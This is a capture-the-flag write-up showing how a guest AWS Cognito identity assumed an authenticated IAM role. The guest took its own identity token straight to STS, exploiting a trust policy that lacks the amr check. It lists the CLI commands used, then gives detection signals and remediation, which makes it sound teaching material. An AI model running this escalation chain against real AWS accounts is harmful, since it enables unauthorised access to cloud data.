Breaking the Trust Boundary: AWS Cognito Guest-to-Authenticated Role Escalation Write up
A challenge solved in HackAstra 2026

Introduction
AWS Cognito Identity Pools are commonly used in mobile and web applications to provide temporary AWS credentials without exposing long-term access keys.
The idea is simple:
Anonymous users receive limited permissions through an Unauthenticated IAM Role
Logged-in users receive elevated permissions through an Authenticated IAM Role
Cognito decides which role a user should receive, and AWS Security Token Service (STS) issues the temporary credentials.
But what happens when these two systems do not enforce the same security assumptions?
During this challenge, I found a misconfigured AWS Cognito Identity Pool where an unauthenticated guest identity could obtain credentials for an authenticated IAM role.
The interesting part was that there was no token forgery, no credential theft, and no authentication bypass.
The attack worked because the AWS trust boundary was incomplete.
Understanding Cognito Identity Pools and STS
Before looking at the vulnerability, it is important to understand how Cognito Identity Pools work.
A typical flow looks like this:
User
|
|
v
Cognito Identity Pool
|
| Determines authentication state
|
+----------------+
| |
Guest User Authenticated User
| |
v v
Unauth Role Auth Role
|
v
AWS STS
|
v
Temporary Credentials
Cognito Identity Pools map identities to IAM roles:
Unauthenticated Role → For guest users
Authenticated Role → For users who completed authentication
When requesting credentials, Cognito provides an identity token that can be exchanged with AWS STS using:
AssumeRoleWithWebIdentity
STS then validates the token against the IAM role's trust policy.
The security boundary depends on two checks:
1. Cognito Role Mapping
Cognito checks whether the identity is authenticated before assigning the IAM role.
2. IAM Trust Policy
The IAM role itself decides who is allowed to assume it.
Both checks must agree.
If Cognito says:
"This is an unauthenticated guest"
but IAM says:
"This is a valid Cognito identity, allow access"
the trust boundary breaks.
Reconnaissance: Finding the Identity Pool
The first step was identifying the backend configuration.
A public S3 bucket:
mobileapp-mobile-assets-l9tp4r7x
contained a configuration file:
backend-roles.json
The file exposed sensitive AWS configuration details:
{
"IdentityPoolId": "us-east-1:08d85402-467a-4354-becc-97a9a5c549bd",
"AuthRole": "arn:aws:iam::680311749636:role/mobileapp_cognito_auth_role"
}
The leaked information gave us:
Cognito Identity Pool ID
Authenticated IAM Role ARN
The target role was:
arn:aws:iam::680311749636:role/mobileapp_cognito_auth_role
Creating an Unauthenticated Cognito Identity
Using the leaked Identity Pool ID, we requested a guest identity.
aws cognito-identity get-id \
--identity-pool-id "us-east-1:08d85402-467a-4354-becc-97a9a5c549bd"
Cognito returned an Identity ID associated with an unauthenticated user.
At this point, we were only a guest.
Normally, this identity should only receive the limited unauthenticated role.
Obtaining the Cognito Identity Token
Next, we requested an OpenID Connect token for this identity.
aws cognito-identity get-open-id-token \
--identity-id "<IdentityId>"
The returned token was a legitimate Cognito-issued identity token.
Important:
The token itself was not malicious.
It was valid.
The problem was how AWS trusted it.
Attempt 1: Using Cognito's Normal Role Mapping
The expected method was to ask Cognito for credentials.
aws cognito-identity get-credentials-for-identity \
--identity-id "<IdentityId>" \
--custom-role-arn \
"arn:aws:iam::680311749636:role/mobileapp_cognito_auth_role"
This failed.
Cognito correctly recognized that the identity was unauthenticated.
The guest user was not allowed to obtain credentials for the authenticated role.
This was expected behavior.
At this point, Cognito was working correctly.
The Pivot: Going Directly to STS
Instead of asking Cognito to perform role mapping, we directly interacted with AWS STS.
The Cognito token was supplied to:
AssumeRoleWithWebIdentity
Request:
aws sts assume-role-with-web-identity \
--role-arn \
"arn:aws:iam::680311749636:role/mobileapp_cognito_auth_role" \
--role-session-name "PwnedSession" \
--web-identity-token "<OIDC_TOKEN>"
This time, AWS returned temporary credentials:
Access Key ID
Secret Access Key
Session Token
The guest identity had successfully assumed the authenticated role.
Accessing the Premium S3 Bucket
The temporary credentials were exported:
export AWS_ACCESS_KEY_ID="<access-key>"
export AWS_SECRET_ACCESS_KEY="<secret-key>"
export AWS_SESSION_TOKEN="<session-token>"
The restricted bucket could now be accessed:
aws s3api list-objects \
--bucket mobileapp-premium-content-l9tp4r7x
The flag was retrieved:
aws s3api get-object \
--bucket mobileapp-premium-content-l9tp4r7x \
--key flag.txt \
/dev/stdout
The authenticated role permissions were successfully obtained.
Root Cause: Missing amr Validation
The vulnerability existed in the IAM trust policy attached to:
mobileapp_cognito_auth_role
Cognito identity tokens contain an amr claim:
Authentication Method Reference:
| Identity Type | amr Value |
|---|---|
| Guest user | unauthenticated |
| Logged-in user | authenticated |
A secure trust policy should verify this claim.
Example:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"Federated": "cognito-identity.amazonaws.com"
},
"Action": "sts:AssumeRoleWithWebIdentity",
"Condition": {
"StringEquals": {
"cognito-identity.amazonaws.com:aud":
"us-east-1:08d85402-467a-4354-becc-97a9a5c549bd"
},
"ForAnyValue:StringLike": {
"cognito-identity.amazonaws.com:amr":
"authenticated"
}
}
}
]
}
The vulnerable role lacked:
"cognito-identity.amazonaws.com:amr": "authenticated"
Without this condition, STS only checked:
Is the token signed by Cognito?
Does the audience match this Identity Pool?
Both were true.
STS accepted the token and issued credentials.
Why This Worked
The important distinction:
Cognito knew:
"This identity is unauthenticated."
STS knew only:
"This is a valid Cognito identity token."
The missing trust policy condition allowed these two assumptions to diverge.
The attacker did not bypass Cognito.
The attacker abused a weaker trust decision made by IAM.
Detection Opportunities
From a defensive perspective, monitor:
CloudTrail Events
Look for:
AssumeRoleWithWebIdentity
Suspicious indicators:
Unauthenticated Cognito identities assuming privileged roles
Unexpected role sessions
Immediate access to sensitive S3 resources after role assumption
A suspicious chain:
GetOpenIdToken
|
|
AssumeRoleWithWebIdentity
|
|
S3 GetObject
should be investigated.
Remediation
1. Validate the amr Claim
Authenticated roles should explicitly require:
"cognito-identity.amazonaws.com:amr": "authenticated"
in their trust policy.
2. Follow Least Privilege
Avoid broad permissions:
"s3:*"
Prefer:
"s3:GetObject"
on only required resources.
3. Review IAM Trust Policies
Permission policies answer:
What can this role do?
Trust policies answer:
Who can become this role?
A strong permission policy does not help if the wrong identities can assume the role.
What I Took Away From This
The interesting part of this vulnerability was not obtaining AWS credentials.
AWS issued them exactly as designed.
The failure happened because different components trusted different assumptions.
Cognito correctly identified the user as a guest.
STS only verified that the identity token was valid.
Security boundaries fail when every component does not enforce the same identity requirements.
A valid identity does not automatically mean a trusted identity.
References
AWS Cognito Identity Pools Documentation
AWS STS AssumeRoleWithWebIdentity Documentation
AWS IAM Role Trust Policies
AWS Security Best Practices
About the author
- Just a SOC analyst doing detection engineering across banking-sector SIEM environments (LogPoint, FortiSIEM, Wazuh), with a habit of digging past the alert to the mechanism underneath. I build automation to cut manual triage overhead and write custom detection rules for endpoint and network anomalies. Outside work: built a DNS resolver from scratch against RFC 1035, an ARP spoofing detector in C , design CTF challenges and I read Linux kernel source for fun. I write about what I find at prayush.hashnode.dev.
Comments
Join the discussionNo comments yet. Be the first to comment.




